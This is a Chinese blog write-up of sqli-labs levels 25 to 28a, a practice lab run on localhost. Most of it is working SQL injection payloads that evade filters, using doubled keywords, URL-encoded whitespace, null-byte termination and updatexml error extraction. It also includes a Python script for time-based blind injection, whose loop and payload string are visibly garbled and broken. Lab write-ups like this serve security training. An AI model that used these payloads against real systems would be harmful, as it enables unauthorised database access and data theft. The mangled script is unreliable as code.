sql-labs25-28a
一、环境
网上都有不过多阐述
(图片来源网络,侵删)
二、sql-labs第25关
它说你的OR和and属于它,那就是过滤了OR和and
注入尝试
不用or和and进行爆破注入,很明显是有注入点的
?id=-1' union select 1,2,3--+
查看数据库
(图片来源网络,侵删)
ok,此道题算是解了但是如果我们用了and了呢
?id=-1' and updatexml(1,1,1)--+
很明显报错
绕过方法双写and
?id=-1' aandnd updatexml(1,concat(0x7e,user(),0x7e),1)--+
三、sql-labs第26关
看看界面没空格和注释符了
(图片来源网络,侵删)
试着看看怎么报错
替换一下空格 /**/,很明显也被过滤掉了
mysql中有常见的空格%0a,%0c,%0d,好还是不行
那很明显and爆破注入是可以的,去试试,很明显确实是可以的
?id=1' aandnd
注入语句,当然这个注释也可以and一个全真式绕过
?id=1' aandnd(updatexml(1,concat(0x7e,user(),0x7e),1));%00
四、sql-labs26a关
换了一个闭合方式和26一样的,单引号闭合多个括号
先测试一下很明显沉睡了三秒
http://127.0.0.1/sqllabs/Less-26a/?id=1%27)%20aandnd(if%20ascii(left(database(),1))%3E100,sleep(3),0));%00
行了,上脚本吧
import requests import time def inject_database(url): name = '' for i in range(1, 20): low = 32 high = 128 mid = (low + high) // 2 while low %d, sleep(2), 0)aandnd('1')=('1" % (i,mid)) params = {"id":payload} start_time = time.time() r = requests.get(url, params=params) end_time = time.time() if end_time - start_time >= 1: low = mid + 1 else: high = mid mid = (low + high) // 2 if mid == 32: break name += chr(mid) print(name) if __name__ == "__main__": url = 'http://127.0.0.1/sqli/Less-26a/index.php' inject_database(url)
五、第27关
http://127.0.0.1/sqli/Less-27/?id=-1%27%0auunionnion
ok绕过了
开始查询
http://127.0.0.1/sqli/Less-27/?id=100%27%0auunionnion%0aSelEct%0a1,2,3;%00
好了很明显注入点在2,3操作就行了
爆破注入也可以
http://127.0.0.1/sqli/Less-27/?id=1%27%0aand%0aupdatexml(1,concat(0x7e,user(),0x7e),1);%00
六、第27a关
闭合方式变成"号了跟27一模一样
七、第28关
?id=1%27)%0aunion%0aselect
有个/i修饰符无视大小写了,如何绕过?双写即可
http://127.0.0.1/sqli/Less-28/?id=1%27)%0aunion%0aunion%0aselectselect
最终
http://127.0.0.1/sqli/Less-28/?id=100%27)%0aunion%0aunion%0aselectselect%0a1,2,3;%00
八、28a
跟28一样的,而且限制变少了,没空格等限制了
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。
还没有评论,来说两句吧...